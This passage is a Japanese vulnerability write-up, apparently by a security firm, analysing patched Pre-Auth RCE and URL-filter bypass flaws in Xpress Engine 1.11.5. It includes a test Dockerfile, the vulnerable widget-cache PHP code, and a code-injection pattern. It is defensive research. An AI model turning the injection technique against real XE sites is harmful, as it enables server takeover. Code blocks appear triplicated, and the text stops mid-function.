今日表示しない

トップへ戻る

トップへ戻る

脆弱性研究

脆弱性研究

脆弱性研究

Xpress Engine

Xpress Engine

Xpress Engine

エンキホワイトハット

エンキホワイトハット

コンテンツ

コンテンツ

コンテンツ

1. 概要

本稿では、2019年10月にパッチされた Xpress Engine(以下、XE)のPre-Auth RCEURLフィルタ破りの2つの脆弱性について説明します。(XEVE-19–008XEVE-19–009

Webアプリケーションで発生するPre-Auth RCE脆弱性は、Webサービスへの有効なアクセス許可なしに、遠隔からWebサーバーを掌握できるセキュリティ脆弱性です。

URLフィルタ破りの脆弱性も同様に、XSS攻撃へと発展してRCE(Remote Code Execution)に利用されたり、セッションハイジャック、フィッシングなどに発展したりする可能性のある、危険性の高いセキュリティ脆弱性です。

これらの問題は、Enkiのキム・ヨンジン研究員が発見・報告し、XE 1.11.6バージョンでパッチが適用されました。

XEは、LGPLライセンスに従う国内開発のCMS(Content Management System)ソフトウェアであり、2009年の配布開始から現在までに2,192,249回以上ダウンロードされている、有名なオープンソースCMSの一つです。高度なプログラミング技術がなくてもホームページやブログなどのサービスを構築できるため、国内の多数のショッピングモールやコミュニティサイトがXEを利用して制作されています。

2. 事前認証なしのRCE(リモートコード実行)

Pre-Auth RCE(事前認証RCE)脆弱性は、2つの異なる脆弱性から構成されています。それぞれの脆弱性の根本原因と、攻撃が可能となる原理を説明します。以下のDockerfileを使用してテスト環境を構築できます。

FROM php:7.2-apache
ADD https://github.com/xpressengine/xe-core/releases/download/1.11.5/xe.1.11.5.tar.gz /var/www/html
WORKDIR /var/www/html
RUN tar xf xe.1.11.5.tar.gz
RUN chmod 707 /var/www/html
RUN sed -i 's/http:\/\/deb.debian.org\/debian/http:\/\/mirror.kakao.com\/debian/g' /etc/apt/sources.list
RUN apt update && apt -y install libpng-dev default-mysql-server
RUN docker-php-ext-install gd mysqli
RUN a2enmod rewrite
RUN service mysql start
CMD apache2ctl start && /usr/sbin/mysqld --skip-grant-tables --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib/x86_64-linux-gnu/mariadb19/plugin --user=mysql --skip-log-error --pid-file=/run/mysqld/mysqld.pid --socket=/var/run/mysqld/mysqld.sock

FROM php:7.2-apache
ADD https://github.com/xpressengine/xe-core/releases/download/1.11.5/xe.1.11.5.tar.gz /var/www/html
WORKDIR /var/www/html
RUN tar xf xe.1.11.5.tar.gz
RUN chmod 707 /var/www/html
RUN sed -i 's/http:\/\/deb.debian.org\/debian/http:\/\/mirror.kakao.com\/debian/g' /etc/apt/sources.list
RUN apt update && apt -y install libpng-dev default-mysql-server
RUN docker-php-ext-install gd mysqli
RUN a2enmod rewrite
RUN service mysql start
CMD apache2ctl start && /usr/sbin/mysqld --skip-grant-tables --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib/x86_64-linux-gnu/mariadb19/plugin --user=mysql --skip-log-error --pid-file=/run/mysqld/mysqld.pid --socket=/var/run/mysqld/mysqld.sock

FROM php:7.2-apache
ADD https://github.com/xpressengine/xe-core/releases/download/1.11.5/xe.1.11.5.tar.gz /var/www/html
WORKDIR /var/www/html
RUN tar xf xe.1.11.5.tar.gz
RUN chmod 707 /var/www/html
RUN sed -i 's/http:\/\/deb.debian.org\/debian/http:\/\/mirror.kakao.com\/debian/g' /etc/apt/sources.list
RUN apt update && apt -y install libpng-dev default-mysql-server
RUN docker-php-ext-install gd mysqli
RUN a2enmod rewrite
RUN service mysql start
CMD apache2ctl start && /usr/sbin/mysqld --skip-grant-tables --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib/x86_64-linux-gnu/mariadb19/plugin --user=mysql --skip-log-error --pid-file=/run/mysqld/mysqld.pid --socket=/var/run/mysqld/mysqld.sock

2–1. ウィジェットキャッシュ機能におけるパラメータフィルタリングの欠如

function dispWidgetInfo()
{
    // If people have skin widget widget output as a function of the skin More Details
    if(Context::get('skin')) return $this->dispWidgetSkinInfo();
    // Wanted widget is selected information
    $oWidgetModel = getModel('widget');
    $widget_info = $oWidgetModel->getWidgetInfo(Context::get('selected_widget'));
    Context::set('widget_info', $widget_info);
    // Specifies the widget to pop up
    $this->setLayoutFile('popup_layout');
    // Set a template file
    $this->setTemplateFile('widget_detail_info');
}
function dispWidgetInfo()
{
    // If people have skin widget widget output as a function of the skin More Details
    if(Context::get('skin')) return $this->dispWidgetSkinInfo();
    // Wanted widget is selected information
    $oWidgetModel = getModel('widget');
    $widget_info = $oWidgetModel->getWidgetInfo(Context::get('selected_widget'));
    Context::set('widget_info', $widget_info);
    // Specifies the widget to pop up
    $this->setLayoutFile('popup_layout');
    // Set a template file
    $this->setTemplateFile('widget_detail_info');
}
function dispWidgetInfo()
{
    // If people have skin widget widget output as a function of the skin More Details
    if(Context::get('skin')) return $this->dispWidgetSkinInfo();
    // Wanted widget is selected information
    $oWidgetModel = getModel('widget');
    $widget_info = $oWidgetModel->getWidgetInfo(Context::get('selected_widget'));
    Context::set('widget_info', $widget_info);
    // Specifies the widget to pop up
    $this->setLayoutFile('popup_layout');
    // Set a template file
    $this->setTemplateFile('widget_detail_info');
}

widgetModel クラスは、modules/widget/widget.view.php ソースファイルに実装されています。このクラスの dispWidgetInfo メソッドはウィジェットの属性を設定する役割を持ち、メソッド内の 27行目 のコードでウィジェットモデルのインスタンスから getWidgetInfo メソッドを呼び出すことでウィジェット情報を取得しています。

このとき、パラメータ selected_widget の値がメソッドの呼び出し引数として使用されていることがわかります。

function getWidgetPath($widget_name)
{
    $path = sprintf('./widgets/%s/', $widget_name);
    if(is_dir($path)) return $path;
return "";
}

function getWidgetInfo($widget)
{
    // Get a path of the requested module. Return if not exists.
    $widget_path = $this->getWidgetPath($widget);
    if(!$widget_path) return;
    // Read the xml file for module skin information
    $xml_file = sprintf("%sconf/info.xml", $widget_path);
    if(!file_exists($xml_file)) return;
    // If the problem by comparing the cache file and include the return variable $widget_info
    $cache_file = sprintf(_XE_PATH_ . 'files/cache/widget/%s.%s.cache.php', $widget, Context::getLangType());

if(file_exists($cache_file)&&filemtime($cache_file)>filemtime($xml_file))
    {
        @include($cache_file);
        return $widget_info;
    }
    // If no cache file exists, parse the xml and then return the variable.
    $oXmlParser = new XmlParser();
    $tmp_xml_obj = $oXmlParser->loadXmlFile($xml_file);
    $xml_obj = $tmp_xml_obj->widget;
    if(!$xml_obj) return;
    $buff = '$widget_info = new stdClass;';
    if($xml_obj->version && $xml_obj->attrs->version == '0.2')
    {
        // Title of the widget, version
        $buff .= sprintf('$widget_info->widget = "%s";', $widget);
        $buff .= sprintf('$widget_info->path = "%s";', $widget_path);
        $buff .= sprintf('$widget_info->title = "%s";', $xml_obj->title->body);
        $buff .= sprintf('$widget_info->description = "%s";', $xml_obj->description->body);
        $buff .= sprintf('$widget_info->version = "%s";', $xml_obj->version->body);
        sscanf($xml_obj->date->body, '%d-%d-%d', $date_obj->y, $date_obj->m, $date_obj->d);
        $date = sprintf('%04d%02d%02d', $date_obj->y, $date_obj->m, $date_obj->d);
        $buff .= sprintf('$widget_info->date = "%s";', $date);
        $buff .= sprintf('$widget_info->homepage = "%s";', $xml_obj->link->body);
        $buff .= sprintf('$widget_info->license = "%s";', $xml_obj->license->body);
        $buff .= sprintf('$widget_info->license_link = "%s";', $xml_obj->license->attrs->link);
        $buff .= sprintf('$widget_info->widget_srl = $widget_srl;');
        $buff .= sprintf('$widget_info->widget_title = $widget_title;');
        // Author information
        if(!is_array($xml_obj->author)) $author_list[] = $xml_obj->author;
        else $author_list = $xml_obj->author;
        for($i=0; $i < count($author_list); $i++)
        {
            $buff .= '$widget_info->author['.$i.'] = new stdClass;';
            $buff .= sprintf('$widget_info->author['.$i.']->name = "%s";', $author_list[$i]->name->body);
            $buff .= sprintf('$widget_info->author['.$i.']->email_address = "%s";', $author_list[$i]->attrs->email_address);
            $buff .= sprintf('$widget_info->author['.$i.']->homepage = "%s";', $author_list[$i]->attrs->link);
        }
    }
    else
    {
        // Title of the widget, version
        $buff .= sprintf('$widget_info->widget = "%s";', $widget);
        $buff .= sprintf('$widget_info->path = "%s";', $widget_path);
        $buff .= sprintf('$widget_info->title = "%s";', $xml_obj->title->body);
        $buff .= sprintf('$widget_info->description = "%s";', $xml_obj->author->description->body);
        $buff .= sprintf('$widget_info->version = "%s";', $xml_obj->attrs->version);
        sscanf($xml_obj->author->attrs->date, '%d. %d. %d', $date_obj->y, $date_obj->m, $date_obj->d);
        $date = sprintf('%04d%02d%02d', $date_obj->y, $date_obj->m, $date_obj->d);
        $buff .= sprintf('$widget_info->date = "%s";', $date);
        $buff .= sprintf('$widget_info->widget_srl = $widget_srl;');
        $buff .= sprintf('$widget_info->widget_title = $widget_title;');
        // Author information
        $buff .= '$widget_info->author[0] = new stdClass;';
        $buff .= sprintf('$widget_info->author[0]->name = "%s";', $xml_obj->author->name->body);
        $buff .= sprintf('$widget_info->author[0]->email_address = "%s";', $xml_obj->author->attrs->email_address);
        $buff .= sprintf('$widget_info->author[0]->homepage = "%s";', $xml_obj->author->attrs->link);
    }
    // Extra vars (user defined variables to use in a template)
    $extra_var_groups = $xml_obj->extra_vars->group;
    if(!$extra_var_groups) $extra_var_groups = $xml_obj->extra_vars;
    if(!is_array($extra_var_groups)) $extra_var_groups = array($extra_var_groups);
    foreach($extra_var_groups as $group)
    {
        $extra_vars = $group->var;
        if(!is_array($group->var)) $extra_vars = array($group->var);
        if($extra_vars[0]->attrs->id || $extra_vars[0]->attrs->name)
        {
            $extra_var_count = count($extra_vars);
            $buff .= sprintf('$widget_info->extra_var_count = "%s";', $extra_var_count);
            for($i=0;$i<$extra_var_count;$i++)
            {
                unset($var);
                unset($options);
                $var = $extra_vars[$i];
                $id = $var->attrs->id?$var->attrs->id:$var->attrs->name;
                $name = $var->name->body?$var->name->body:$var->title->body;
                $type = $var->attrs->type?$var->attrs->type:$var->type->body;
                $buff .= sprintf('$widget_info->extra_var->%s = new stdClass;', $id);
                if($type =='filebox')
                {
                    $buff .= sprintf('$widget_info->extra_var->%s->filter = "%s";', $id, $var->type->attrs->filter);
                    $buff .= sprintf('$widget_info->extra_var->%s->allow_multiple = "%s";', $id, $var->type->attrs->allow_multiple);
                }
                $buff .= sprintf('$widget_info->extra_var->%s->group = "%s";', $id, $group->title->body);
                $buff .= sprintf('$widget_info->extra_var->%s->name = "%s";', $id, $name);
                $buff .= sprintf('$widget_info->extra_var->%s->type = "%s";', $id, $type);
                $buff .= sprintf('$widget_info->extra_var->%s->value = $vars->%s;', $id, $id);
                $buff .= sprintf('$widget_info->extra_var->%s->description = "%s";', $id, str_replace('"','\"',$var->description->body));
                $options = $var->options;
                if(!$options) continue;
                if(!is_array($options)) $options = array($options);
                $options_count = count($options);
                for($j=0;$j<$options_count;$j++)
                {
                    $buff .= sprintf('$widget_info->extra_var->%s->options["%s"] = "%s";', $id, $options[$j]->value->body, $options[$j]->name->body);
                    if($options[$j]->attrs->default && $options[$j]->attrs->default=='true')
                    {
                        $buff .= sprintf('$widget_info->extra_var->%s->default_options["%s"] = true;', $id, $options[$j]->value->body);
                    }
                    if($options[$j]->attrs->init && $options[$j]->attrs->init=='true')
                    {
                        $buff .= sprintf('$widget_info->extra_var->%s->init_options["%s"] = true;', $id, $options[$j]->value->body);
                    }
                }
            }
        }
    }
    $buff = '<?php if(!defined("__XE__")) exit(); '.$buff.' ?>';
    FileHandler::writeFile($cache_file, $buff);
    if(file_exists($cache_file)) @include($cache_file);
    return $widget_info;
}
function getWidgetPath($widget_name)
{
    $path = sprintf('./widgets/%s/', $widget_name);
    if(is_dir($path)) return $path;
return "";
}

function getWidgetInfo($widget)
{
    // Get a path of the requested module. Return if not exists.
    $widget_path = $this->getWidgetPath($widget);
    if(!$widget_path) return;
    // Read the xml file for module skin information
    $xml_file = sprintf("%sconf/info.xml", $widget_path);
    if(!file_exists($xml_file)) return;
    // If the problem by comparing the cache file and include the return variable $widget_info
    $cache_file = sprintf(_XE_PATH_ . 'files/cache/widget/%s.%s.cache.php', $widget, Context::getLangType());

if(file_exists($cache_file)&&filemtime($cache_file)>filemtime($xml_file))
    {
        @include($cache_file);
        return $widget_info;
    }
    // If no cache file exists, parse the xml and then return the variable.
    $oXmlParser = new XmlParser();
    $tmp_xml_obj = $oXmlParser->loadXmlFile($xml_file);
    $xml_obj = $tmp_xml_obj->widget;
    if(!$xml_obj) return;
    $buff = '$widget_info = new stdClass;';
    if($xml_obj->version && $xml_obj->attrs->version == '0.2')
    {
        // Title of the widget, version
        $buff .= sprintf('$widget_info->widget = "%s";', $widget);
        $buff .= sprintf('$widget_info->path = "%s";', $widget_path);
        $buff .= sprintf('$widget_info->title = "%s";', $xml_obj->title->body);
        $buff .= sprintf('$widget_info->description = "%s";', $xml_obj->description->body);
        $buff .= sprintf('$widget_info->version = "%s";', $xml_obj->version->body);
        sscanf($xml_obj->date->body, '%d-%d-%d', $date_obj->y, $date_obj->m, $date_obj->d);
        $date = sprintf('%04d%02d%02d', $date_obj->y, $date_obj->m, $date_obj->d);
        $buff .= sprintf('$widget_info->date = "%s";', $date);
        $buff .= sprintf('$widget_info->homepage = "%s";', $xml_obj->link->body);
        $buff .= sprintf('$widget_info->license = "%s";', $xml_obj->license->body);
        $buff .= sprintf('$widget_info->license_link = "%s";', $xml_obj->license->attrs->link);
        $buff .= sprintf('$widget_info->widget_srl = $widget_srl;');
        $buff .= sprintf('$widget_info->widget_title = $widget_title;');
        // Author information
        if(!is_array($xml_obj->author)) $author_list[] = $xml_obj->author;
        else $author_list = $xml_obj->author;
        for($i=0; $i < count($author_list); $i++)
        {
            $buff .= '$widget_info->author['.$i.'] = new stdClass;';
            $buff .= sprintf('$widget_info->author['.$i.']->name = "%s";', $author_list[$i]->name->body);
            $buff .= sprintf('$widget_info->author['.$i.']->email_address = "%s";', $author_list[$i]->attrs->email_address);
            $buff .= sprintf('$widget_info->author['.$i.']->homepage = "%s";', $author_list[$i]->attrs->link);
        }
    }
    else
    {
        // Title of the widget, version
        $buff .= sprintf('$widget_info->widget = "%s";', $widget);
        $buff .= sprintf('$widget_info->path = "%s";', $widget_path);
        $buff .= sprintf('$widget_info->title = "%s";', $xml_obj->title->body);
        $buff .= sprintf('$widget_info->description = "%s";', $xml_obj->author->description->body);
        $buff .= sprintf('$widget_info->version = "%s";', $xml_obj->attrs->version);
        sscanf($xml_obj->author->attrs->date, '%d. %d. %d', $date_obj->y, $date_obj->m, $date_obj->d);
        $date = sprintf('%04d%02d%02d', $date_obj->y, $date_obj->m, $date_obj->d);
        $buff .= sprintf('$widget_info->date = "%s";', $date);
        $buff .= sprintf('$widget_info->widget_srl = $widget_srl;');
        $buff .= sprintf('$widget_info->widget_title = $widget_title;');
        // Author information
        $buff .= '$widget_info->author[0] = new stdClass;';
        $buff .= sprintf('$widget_info->author[0]->name = "%s";', $xml_obj->author->name->body);
        $buff .= sprintf('$widget_info->author[0]->email_address = "%s";', $xml_obj->author->attrs->email_address);
        $buff .= sprintf('$widget_info->author[0]->homepage = "%s";', $xml_obj->author->attrs->link);
    }
    // Extra vars (user defined variables to use in a template)
    $extra_var_groups = $xml_obj->extra_vars->group;
    if(!$extra_var_groups) $extra_var_groups = $xml_obj->extra_vars;
    if(!is_array($extra_var_groups)) $extra_var_groups = array($extra_var_groups);
    foreach($extra_var_groups as $group)
    {
        $extra_vars = $group->var;
        if(!is_array($group->var)) $extra_vars = array($group->var);
        if($extra_vars[0]->attrs->id || $extra_vars[0]->attrs->name)
        {
            $extra_var_count = count($extra_vars);
            $buff .= sprintf('$widget_info->extra_var_count = "%s";', $extra_var_count);
            for($i=0;$i<$extra_var_count;$i++)
            {
                unset($var);
                unset($options);
                $var = $extra_vars[$i];
                $id = $var->attrs->id?$var->attrs->id:$var->attrs->name;
                $name = $var->name->body?$var->name->body:$var->title->body;
                $type = $var->attrs->type?$var->attrs->type:$var->type->body;
                $buff .= sprintf('$widget_info->extra_var->%s = new stdClass;', $id);
                if($type =='filebox')
                {
                    $buff .= sprintf('$widget_info->extra_var->%s->filter = "%s";', $id, $var->type->attrs->filter);
                    $buff .= sprintf('$widget_info->extra_var->%s->allow_multiple = "%s";', $id, $var->type->attrs->allow_multiple);
                }
                $buff .= sprintf('$widget_info->extra_var->%s->group = "%s";', $id, $group->title->body);
                $buff .= sprintf('$widget_info->extra_var->%s->name = "%s";', $id, $name);
                $buff .= sprintf('$widget_info->extra_var->%s->type = "%s";', $id, $type);
                $buff .= sprintf('$widget_info->extra_var->%s->value = $vars->%s;', $id, $id);
                $buff .= sprintf('$widget_info->extra_var->%s->description = "%s";', $id, str_replace('"','\"',$var->description->body));
                $options = $var->options;
                if(!$options) continue;
                if(!is_array($options)) $options = array($options);
                $options_count = count($options);
                for($j=0;$j<$options_count;$j++)
                {
                    $buff .= sprintf('$widget_info->extra_var->%s->options["%s"] = "%s";', $id, $options[$j]->value->body, $options[$j]->name->body);
                    if($options[$j]->attrs->default && $options[$j]->attrs->default=='true')
                    {
                        $buff .= sprintf('$widget_info->extra_var->%s->default_options["%s"] = true;', $id, $options[$j]->value->body);
                    }
                    if($options[$j]->attrs->init && $options[$j]->attrs->init=='true')
                    {
                        $buff .= sprintf('$widget_info->extra_var->%s->init_options["%s"] = true;', $id, $options[$j]->value->body);
                    }
                }
            }
        }
    }
    $buff = '<?php if(!defined("__XE__")) exit(); '.$buff.' ?>';
    FileHandler::writeFile($cache_file, $buff);
    if(file_exists($cache_file)) @include($cache_file);
    return $widget_info;
}
function getWidgetPath($widget_name)
{
    $path = sprintf('./widgets/%s/', $widget_name);
    if(is_dir($path)) return $path;
return "";
}

function getWidgetInfo($widget)
{
    // Get a path of the requested module. Return if not exists.
    $widget_path = $this->getWidgetPath($widget);
    if(!$widget_path) return;
    // Read the xml file for module skin information
    $xml_file = sprintf("%sconf/info.xml", $widget_path);
    if(!file_exists($xml_file)) return;
    // If the problem by comparing the cache file and include the return variable $widget_info
    $cache_file = sprintf(_XE_PATH_ . 'files/cache/widget/%s.%s.cache.php', $widget, Context::getLangType());

if(file_exists($cache_file)&&filemtime($cache_file)>filemtime($xml_file))
    {
        @include($cache_file);
        return $widget_info;
    }
    // If no cache file exists, parse the xml and then return the variable.
    $oXmlParser = new XmlParser();
    $tmp_xml_obj = $oXmlParser->loadXmlFile($xml_file);
    $xml_obj = $tmp_xml_obj->widget;
    if(!$xml_obj) return;
    $buff = '$widget_info = new stdClass;';
    if($xml_obj->version && $xml_obj->attrs->version == '0.2')
    {
        // Title of the widget, version
        $buff .= sprintf('$widget_info->widget = "%s";', $widget);
        $buff .= sprintf('$widget_info->path = "%s";', $widget_path);
        $buff .= sprintf('$widget_info->title = "%s";', $xml_obj->title->body);
        $buff .= sprintf('$widget_info->description = "%s";', $xml_obj->description->body);
        $buff .= sprintf('$widget_info->version = "%s";', $xml_obj->version->body);
        sscanf($xml_obj->date->body, '%d-%d-%d', $date_obj->y, $date_obj->m, $date_obj->d);
        $date = sprintf('%04d%02d%02d', $date_obj->y, $date_obj->m, $date_obj->d);
        $buff .= sprintf('$widget_info->date = "%s";', $date);
        $buff .= sprintf('$widget_info->homepage = "%s";', $xml_obj->link->body);
        $buff .= sprintf('$widget_info->license = "%s";', $xml_obj->license->body);
        $buff .= sprintf('$widget_info->license_link = "%s";', $xml_obj->license->attrs->link);
        $buff .= sprintf('$widget_info->widget_srl = $widget_srl;');
        $buff .= sprintf('$widget_info->widget_title = $widget_title;');
        // Author information
        if(!is_array($xml_obj->author)) $author_list[] = $xml_obj->author;
        else $author_list = $xml_obj->author;
        for($i=0; $i < count($author_list); $i++)
        {
            $buff .= '$widget_info->author['.$i.'] = new stdClass;';
            $buff .= sprintf('$widget_info->author['.$i.']->name = "%s";', $author_list[$i]->name->body);
            $buff .= sprintf('$widget_info->author['.$i.']->email_address = "%s";', $author_list[$i]->attrs->email_address);
            $buff .= sprintf('$widget_info->author['.$i.']->homepage = "%s";', $author_list[$i]->attrs->link);
        }
    }
    else
    {
        // Title of the widget, version
        $buff .= sprintf('$widget_info->widget = "%s";', $widget);
        $buff .= sprintf('$widget_info->path = "%s";', $widget_path);
        $buff .= sprintf('$widget_info->title = "%s";', $xml_obj->title->body);
        $buff .= sprintf('$widget_info->description = "%s";', $xml_obj->author->description->body);
        $buff .= sprintf('$widget_info->version = "%s";', $xml_obj->attrs->version);
        sscanf($xml_obj->author->attrs->date, '%d. %d. %d', $date_obj->y, $date_obj->m, $date_obj->d);
        $date = sprintf('%04d%02d%02d', $date_obj->y, $date_obj->m, $date_obj->d);
        $buff .= sprintf('$widget_info->date = "%s";', $date);
        $buff .= sprintf('$widget_info->widget_srl = $widget_srl;');
        $buff .= sprintf('$widget_info->widget_title = $widget_title;');
        // Author information
        $buff .= '$widget_info->author[0] = new stdClass;';
        $buff .= sprintf('$widget_info->author[0]->name = "%s";', $xml_obj->author->name->body);
        $buff .= sprintf('$widget_info->author[0]->email_address = "%s";', $xml_obj->author->attrs->email_address);
        $buff .= sprintf('$widget_info->author[0]->homepage = "%s";', $xml_obj->author->attrs->link);
    }
    // Extra vars (user defined variables to use in a template)
    $extra_var_groups = $xml_obj->extra_vars->group;
    if(!$extra_var_groups) $extra_var_groups = $xml_obj->extra_vars;
    if(!is_array($extra_var_groups)) $extra_var_groups = array($extra_var_groups);
    foreach($extra_var_groups as $group)
    {
        $extra_vars = $group->var;
        if(!is_array($group->var)) $extra_vars = array($group->var);
        if($extra_vars[0]->attrs->id || $extra_vars[0]->attrs->name)
        {
            $extra_var_count = count($extra_vars);
            $buff .= sprintf('$widget_info->extra_var_count = "%s";', $extra_var_count);
            for($i=0;$i<$extra_var_count;$i++)
            {
                unset($var);
                unset($options);
                $var = $extra_vars[$i];
                $id = $var->attrs->id?$var->attrs->id:$var->attrs->name;
                $name = $var->name->body?$var->name->body:$var->title->body;
                $type = $var->attrs->type?$var->attrs->type:$var->type->body;
                $buff .= sprintf('$widget_info->extra_var->%s = new stdClass;', $id);
                if($type =='filebox')
                {
                    $buff .= sprintf('$widget_info->extra_var->%s->filter = "%s";', $id, $var->type->attrs->filter);
                    $buff .= sprintf('$widget_info->extra_var->%s->allow_multiple = "%s";', $id, $var->type->attrs->allow_multiple);
                }
                $buff .= sprintf('$widget_info->extra_var->%s->group = "%s";', $id, $group->title->body);
                $buff .= sprintf('$widget_info->extra_var->%s->name = "%s";', $id, $name);
                $buff .= sprintf('$widget_info->extra_var->%s->type = "%s";', $id, $type);
                $buff .= sprintf('$widget_info->extra_var->%s->value = $vars->%s;', $id, $id);
                $buff .= sprintf('$widget_info->extra_var->%s->description = "%s";', $id, str_replace('"','\"',$var->description->body));
                $options = $var->options;
                if(!$options) continue;
                if(!is_array($options)) $options = array($options);
                $options_count = count($options);
                for($j=0;$j<$options_count;$j++)
                {
                    $buff .= sprintf('$widget_info->extra_var->%s->options["%s"] = "%s";', $id, $options[$j]->value->body, $options[$j]->name->body);
                    if($options[$j]->attrs->default && $options[$j]->attrs->default=='true')
                    {
                        $buff .= sprintf('$widget_info->extra_var->%s->default_options["%s"] = true;', $id, $options[$j]->value->body);
                    }
                    if($options[$j]->attrs->init && $options[$j]->attrs->init=='true')
                    {
                        $buff .= sprintf('$widget_info->extra_var->%s->init_options["%s"] = true;', $id, $options[$j]->value->body);
                    }
                }
            }
        }
    }
    $buff = '<?php if(!defined("__XE__")) exit(); '.$buff.' ?>';
    FileHandler::writeFile($cache_file, $buff);
    if(file_exists($cache_file)) @include($cache_file);
    return $widget_info;
}

ウィジェットモデルクラスである widgetModel は、modules/widget/widget.model.php ソースファイルに実装されています。

widgetModel クラスの getWidgetInfo メソッドは、126行目にて、同一ソースファイル内に実装されている getWidgetPath メソッドを呼び出し、$widget_path 変数を初期化しています。初期化される文字列は外部からの入力値の影響を受け、 ./widgets/EXTERNAL_INPUT/ の形式になります。

外部ユーザーから渡された入力値を利用して初期化された $widget_path 変数は、getWidgetInfo メソッドの 179行目で使用されます。

$buff .= sprintf('$widget_info->path = "%s";', $widget_path);
$buff .= sprintf('$widget_info->path = "%s";', $widget_path);
$buff .= sprintf('$widget_info->path = "%s";', $widget_path);

このコードは、ウィジェットキャッシュのPHPスクリプトを動的に生成する役割を果たします。入力値を “;MALICIOUS_CODE;# とした場合、 $widget_info->path = “”;MALICIOUS_CODE;#”; となり、元のコードに追加のPHPコードを挿入することができます。

しかし、XE(XpressEngine)に実装されている外部入力フィルタリングにより、上記のような方法で簡単に攻撃を行うことはできません。

/**
 * Filter request variable
 *
 * @see Cast variables, such as _srl, page, and cpage, into interger
 * @param string $key Variable key
 * @param string $val Variable value
 * @param string $do_stripslashes Whether to strip slashes
 * @return mixed filtered value. Type are string or array
 */
function _filterRequestVar($key, $val, $do_stripslashes = true, $remove_hack = false)
{
    if(!($isArray = is_array($val)))
    {
        $val = array($val);
    }

$result = array();
    foreach($val as $k => $v)
    {
        $k = escape($k);
        if($remove_hack && !is_array($v)) {
            if(stripos($v, '<script') || stripos($v, 'lt;script') || stripos($v, '%3Cscript'))
            {
                $result[$k] = escape($v);
                continue;
            }
        }
        if($key === 'page' || $key === 'cpage' || substr_compare($key, 'srl', -3) === 0)
        {
            $result[$k] = !preg_match('/^[0-9,]+$/', $v) ? (int) $v : $v;
        }
        elseif(in_array($key, array('mid','search_keyword','search_target','xe_validator_id'))) {
            $result[$k] = escape($v, false);
        }
        elseif($key === 'vid')
        {
            $result[$k] = urlencode($v);
        }
        elseif(stripos($key, 'XE_VALIDATOR', 0) === 0)
        {
            unset($result[$k]);
        }
        else
        {
            $result[$k] = $v;
            if($do_stripslashes && version_compare(PHP_VERSION, '5.4.0', '<') && get_magic_quotes_gpc())
            {
                if (is_array($result[$k]))
                {
                    array_walk_recursive($result[$k], function(&$val) { $val = stripslashes($val); });
                }
                else
                {
                    $result[$k] = stripslashes($result[$k]);
                }
            }
            if(is_array($result[$k]))
            {
                array_walk_recursive($result[$k], function(&$val) { $val = trim($val); });
            }
            else
            {
                $result[$k] = trim($result[$k]);
            }
            if($remove_hack)
            {
                $result[$k] = escape($result[$k], false);
            }
        }
    }
    return $isArray ? $result : $result[0];
}
/**
 * Filter request variable
 *
 * @see Cast variables, such as _srl, page, and cpage, into interger
 * @param string $key Variable key
 * @param string $val Variable value
 * @param string $do_stripslashes Whether to strip slashes
 * @return mixed filtered value. Type are string or array
 */
function _filterRequestVar($key, $val, $do_stripslashes = true, $remove_hack = false)
{
    if(!($isArray = is_array($val)))
    {
        $val = array($val);
    }

$result = array();
    foreach($val as $k => $v)
    {
        $k = escape($k);
        if($remove_hack && !is_array($v)) {
            if(stripos($v, '<script') || stripos($v, 'lt;script') || stripos($v, '%3Cscript'))
            {
                $result[$k] = escape($v);
                continue;
            }
        }
        if($key === 'page' || $key === 'cpage' || substr_compare($key, 'srl', -3) === 0)
        {
            $result[$k] = !preg_match('/^[0-9,]+$/', $v) ? (int) $v : $v;
        }
        elseif(in_array($key, array('mid','search_keyword','search_target','xe_validator_id'))) {
            $result[$k] = escape($v, false);
        }
        elseif($key === 'vid')
        {
            $result[$k] = urlencode($v);
        }
        elseif(stripos($key, 'XE_VALIDATOR', 0) === 0)
        {
            unset($result[$k]);
        }
        else
        {
            $result[$k] = $v;
            if($do_stripslashes && version_compare(PHP_VERSION, '5.4.0', '<') && get_magic_quotes_gpc())
            {
                if (is_array($result[$k]))
                {
                    array_walk_recursive($result[$k], function(&$val) { $val = stripslashes($val); });
                }
                else
                {
                    $result[$k] = stripslashes($result[$k]);
                }
            }
            if(is_array($result[$k]))
            {
                array_walk_recursive($result[$k], function(&$val) { $val = trim($val); });
            }
            else
            {
                $result[$k] = trim($result[$k]);
            }
            if($remove_hack)
            {
                $result[$k] = escape($result[$k], false);
            }
        }
    }
    return $isArray ? $result : $result[0];
}
/**
 * Filter request variable
 *
 * @see Cast variables, such as _srl, page, and cpage, into interger
 * @param string $key Variable key
 * @param string $val Variable value
 * @param string $do_stripslashes Whether to strip slashes
 * @return mixed filtered value. Type are string or array
 */
function _filterRequestVar($key, $val, $do_stripslashes = true, $remove_hack = false)
{
    if(!($isArray = is_array($val)))
    {
        $val = array($val);
    }

$result = array();
    foreach($val as $k => $v)
    {
        $k = escape($k);
        if($remove_hack && !is_array($v)) {
            if(stripos($v, '<script') || stripos($v, 'lt;script') || stripos($v, '%3Cscript'))
            {
                $result[$k] = escape($v);
                continue;
            }
        }
        if($key === 'page' || $key === 'cpage' || substr_compare($key, 'srl', -3) === 0)
        {
            $result[$k] = !preg_match('/^[0-9,]+$/', $v) ? (int) $v : $v;
        }
        elseif(in_array($key, array('mid','search_keyword','search_target','xe_validator_id'))) {
            $result[$k] = escape($v, false);
        }
        elseif($key === 'vid')
        {
            $result[$k] = urlencode($v);
        }
        elseif(stripos($key, 'XE_VALIDATOR', 0) === 0)
        {
            unset($result[$k]);
        }
        else
        {
            $result[$k] = $v;
            if($do_stripslashes && version_compare(PHP_VERSION, '5.4.0', '<') && get_magic_quotes_gpc())
            {
                if (is_array($result[$k]))
                {
                    array_walk_recursive($result[$k], function(&$val) { $val = stripslashes($val); });
                }
                else
                {
                    $result[$k] = stripslashes($result[$k]);
                }
            }
            if(is_array($result[$k]))
            {
                array_walk_recursive($result[$k], function(&$val) { $val = trim($val); });
            }
            else
            {
                $result[$k] = trim($result[$k]);
            }
            if($remove_hack)
            {
                $result[$k] = escape($result[$k], false);
            }
        }
    }
    return $isArray ? $result : $result[0];
}

外部入力のフィルタリングコードは、classes/context/Context.class.php ソースファイルに実装されている Context クラスに存在します。このクラスは、パラメータと環境変数を管理する役割を担っています。

Context クラスの _filterRequestVar メソッドは、escape 関数を使用して外部の入力値をフィルタリングします。

function escape($str, $double_escape = true, $escape_defined_lang_code = false)
{
